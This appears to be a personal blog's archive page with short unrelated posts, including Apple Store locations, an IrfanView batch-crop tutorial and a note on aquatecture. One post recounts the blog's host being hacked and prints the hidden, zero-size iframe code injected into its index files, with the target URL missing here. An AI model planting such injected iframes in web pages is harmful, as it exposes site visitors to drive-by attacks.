Apple Stores in GTA

It’s ridiculous, Apple still can’t provide a proper supply of iPhones. I’m trying to buy the iPhone 4 and even now Apple can’t keep up with demand and I have to call each store (every night) to ask if they’re getting a new shipment soon.

– EATON Toronto
220 Yonge Street, Toronto, Ontario M5B 2H1
(647) 258-0801
Mon – Fri:10:00 a.m. to 9:00 p.m.Sat:9:30 a.m. to 7:00 p.m.Sun:11:00 a.m. to 6:00 p.m.
– FAIRVIEW Toronto
1800 Sheppard Avenue East, Toronto , Ontario M2J 5A7
(416) 646 4412
Mon – Fri:10:00 a.m. to 9:00 p.m.Sat:9:30 a.m. to 8:00 p.m.Sun:11:00 a.m. to 6:00 p.m.
Space #1801A, 25 The West Mall, Toronto, Ontario M9C 1B8
(416) 646-8489
Mon – Fri:10:00 a.m. to 9:00 p.m.Sat:9:30 a.m. to 6:00 p.m.Sun:11:00 a.m. to 6:00 p.m.
– YORKDALE Toronto
3401 Dufferin Street, Toronto, Ontario M6A 3A1
(416) 785-1776
Mon – Fri:10:00 a.m. to 9:00 p.m.Sat:9:30 a.m. to 9:00 p.m.Sun:11:00 a.m. to 7:00 p.m.
17600 Yonge Street, Newmarket, Ontario L3Y 4Z1
(905) 952-3400
Mon – Fri:9:30 a.m. to 9:00 p.m.Sat:9:00 a.m. to 6:00 p.m.Sun:11:00 a.m. to 5:00 p.m.
– SQUARE ONE Mississauga
100 City Centre Drive, Mississauga, ON, Ontario L5B 2C9
Mon – Fri:10:00 a.m. to 9:00 p.m.Sat:9:30 a.m. to 6:00 p.m.Sun:11:00 a.m. to 6:00 p.m.

Batch Crop with IrfanView

This post will help you batch crop photos/images with IrfanView. I have IrfanView installed (or should I say copied) on all computers I use – it’s the most light-weight image viewer AND processor with a gazillion features. I even use it to view my RAW photos (with the CRW/CR2 plugin).

OK, back to our topic. I had to crop a whole lot of images and I obviously didn’t want to do it manually. The problem was that the stuff I needed was right in the middle of the image:

batch cropping with irfanview - word doc screenshot

figure 1 - Batch cropping with IrfanView - Word doc screenshot

OK, so here’s how you batch crop images:

  1. Press “B” to open the “Batch conversion” window and “Add all” of your images
  2. Click on “Set advanced options” and select “CROP” (please see figure 2).
  3. You need to put in the the X, Y coordinates and the width and height of your crop
  4. Click OK and then “Start”

figure 2 - IrfanView (batch processing) - "Set advanced options" window

figure 2 - IrfanView (batch processing) - "Set advanced options" window


I’m always learning new things/concepts, always reading about new ideas… and of course sharing them :)

Aquatecture is architecture on water and it refers mainly to floating constructions. This design concept just blew me away:

This structure is very cool, it looks like the damn thing is floating :) But nowadays being cool is not enough anymore, is it? “The project is an alternative for the man-made islands” but with lower costs and it preserves the sea ecosystem.

So, I just learned about aquatecture! :)

More information and pictures about the concept above on the designer’s website.

Blogging from my iPod…

It’s not that bad really. I’m using the wordpress app, which is very minimalistic and intuitive.

Edit: now with photos edited with app

Meet Sebastian, one of my youngest buddies :) )

mozgilla hack – index.* files corrupted

This just recently happened to me (last night actually), I think my host got hacked. I have no idea why or how.

OK, so straight to the point. This morning my blog – a wordpress installation – was dead. I was getting whether an “access denied” or “you don’t have permission to access…”. First I thought that the blog got screwed somehow and I tried to go into the admin panel (e.g.… aaand I got the same error code. Crap. At this point I was clueless, I searched online for any netfirms issues, I thought they messed up something, nothing.

All right, back to basics, I FTP-ed to my host to take a look at the files and this is when I realized that all my index.* (index.php, index.html, index.htm, etc) files were screwed. There were no permissions set and they all contained some code linking to – that code was not familiar to me.  Duh, I don’t use iframes. There isn’t much online on this thing except for this page:

I was having the exact same code in my files:
<iframe frameborder=”0″ onload=”if (!this.src){ this.src=’’; this.height=’0′; this.width=’0′;}” >klsgawbozfesywooikgbcetdnwaubys</iframe>
However, in the .php files the code above was at the very end of the files but in the .html files the code was right after the <body> tag.


Desperate times…

me : Are you looking for a job or smth?
him: dude like crazy, I actually have a little bit of experience in variety of field
– by any chance, is there a slightest window of opportunity at the company where you work?
– Yeah, they hire for this position, www…
– so can i give you my resume or cover letter?
– lol, I’m not HR, but sure you can (more…)

Back… again

Welcome… you (you have to tell me your name you know :D ).

While this is not a “new” blog, it is new at this address.  I’m moving a lot of stuff over here and I’m still working through my previous articles – that export feature in wordpress is not really working that well; some of the links/images/posts/attachments have not been updated properly and are still pointing to the “old” blog.

I’m slowly bringing those other things online including the photo gallery and the infamous “about” page. Did I mention slowly? :D I AM working full-time, you know. But to keep me happy, they sometimes let me blog :D

All right, off I go now.